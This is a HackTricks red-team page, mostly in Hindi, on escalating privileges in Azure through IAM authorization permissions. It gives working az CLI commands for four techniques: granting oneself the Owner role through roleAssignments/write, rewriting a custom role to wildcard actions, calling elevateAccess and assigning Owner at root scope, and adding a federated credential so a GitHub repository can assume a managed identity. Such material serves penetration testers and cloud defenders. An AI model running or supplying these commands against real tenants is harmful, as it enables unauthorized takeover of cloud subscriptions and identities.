Az - Azure IAM Privesc (Authorization)

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Azure IAM

अधिक जानकारी के लिए देखें:

Az - Entra ID (AzureAD) & Azure IAM

Microsoft.Authorization/roleAssignments/write

यह अनुमति विशेष दायरे में प्रिंसिपलों को भूमिकाएँ सौंपने की अनुमति देती है, जिससे एक हमलावर को अधिक विशेषाधिकार प्राप्त भूमिका सौंपकर विशेषाधिकार बढ़ाने की अनुमति मिलती है:

bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

Microsoft.Authorization/roleDefinitions/Write

यह अनुमति एक भूमिका द्वारा दी गई अनुमतियों को संशोधित करने की अनुमति देती है, जिससे एक हमलावर को अधिक अनुमतियाँ देने के द्वारा विशेषाधिकार बढ़ाने की अनुमति मिलती है जो उसने असाइन की है।

फाइल role.json निम्नलिखित सामग्री के साथ बनाएं:

json
{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}

फिर पिछले परिभाषा को कॉल करते हुए भूमिका अनुमतियों को अपडेट करें:

bash
az role definition update --role-definition role.json

Microsoft.Authorization/elevateAccess/action

यह अनुमति विशेषाधिकार बढ़ाने और किसी भी प्रिंसिपल को Azure संसाधनों पर अनुमतियाँ सौंपने की अनुमति देती है। इसे Entra ID Global Administrators को दिया जाना चाहिए ताकि वे Azure संसाधनों पर अनुमतियों का प्रबंधन कर सकें।

tip

मुझे लगता है कि उपयोगकर्ता को elevate कॉल काम करने के लिए Entra ID में Global Administrator होना चाहिए।

bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

यह अनुमति प्रबंधित पहचान में संघीय क्रेडेंशियल जोड़ने की अनुमति देती है। उदाहरण के लिए, एक प्रबंधित पहचान को एक रिपॉजिटरी में Github Actions तक पहुँच देने के लिए। फिर, यह किसी भी उपयोगकर्ता द्वारा परिभाषित प्रबंधित पहचान तक पहुँचने की अनुमति देती है।

Github में एक रिपॉजिटरी को प्रबंधित पहचान तक पहुँच देने के लिए उदाहरण कमांड:

bash
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें